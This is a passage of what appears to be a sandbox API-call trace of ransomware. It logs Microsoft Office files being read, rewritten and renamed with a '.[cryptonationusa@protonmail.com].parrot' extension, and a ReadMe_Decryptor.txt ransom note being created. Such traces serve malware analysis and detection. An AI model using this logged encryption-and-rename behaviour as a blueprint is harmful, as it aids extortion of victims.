Office\\Office14\\1033\\DBWIZ.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.522] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.522] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.523] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.523] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0168.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.524] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.524] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.535] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.536] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.538] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.538] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19984, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19984, lpOverlapped=0x0) returned 1 [0168.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.544] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.547] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.555] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.555] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.556] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x587c9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x587c9, lpOverlapped=0x0) returned 1 [0168.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.575] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.600] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.600] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.601] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.601] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6bb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6bb, lpOverlapped=0x0) returned 1 [0168.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.602] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.608] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.608] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.610] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.610] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfd68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfd68, lpOverlapped=0x0) returned 1 [0168.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.616] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.626] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.626] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.627] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.628] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9760, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9760, lpOverlapped=0x0) returned 1 [0168.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.631] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.631] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.638] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.638] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.640] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.640] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x388e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x388e, lpOverlapped=0x0) returned 1 [0168.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.641] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.648] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.649] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.650] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.650] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d7e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4d7e, lpOverlapped=0x0) returned 1 [0168.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.652] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.660] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.660] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.694] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.694] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3580, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3580, lpOverlapped=0x0) returned 1 [0168.695] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.696] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.696] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.697] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.704] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.704] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.705] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.706] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6a3, lpOverlapped=0x0) returned 1 [0168.706] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.706] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.706] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.706] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.712] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.712] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.719] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.720] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0168.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.756] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.756] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0168.759] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.759] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0168.761] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6b2f16, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0168.762] CloseHandle (hObject=0x27c) returned 1 [0168.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0168.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2257b90 [0168.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0168.762] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0168.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0168.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0168.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0168.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0168.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0168.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0168.770] GetFileType (hFile=0x27c) returned 0x1 [0168.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0168.782] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.782] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.799] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.799] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x281, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x281, lpOverlapped=0x0) returned 1 [0168.799] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0168.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0168.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0168.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0168.800] GetLastError () returned 0x0 [0168.800] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0168.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0168.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0168.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.801] RtlAllocateHeap 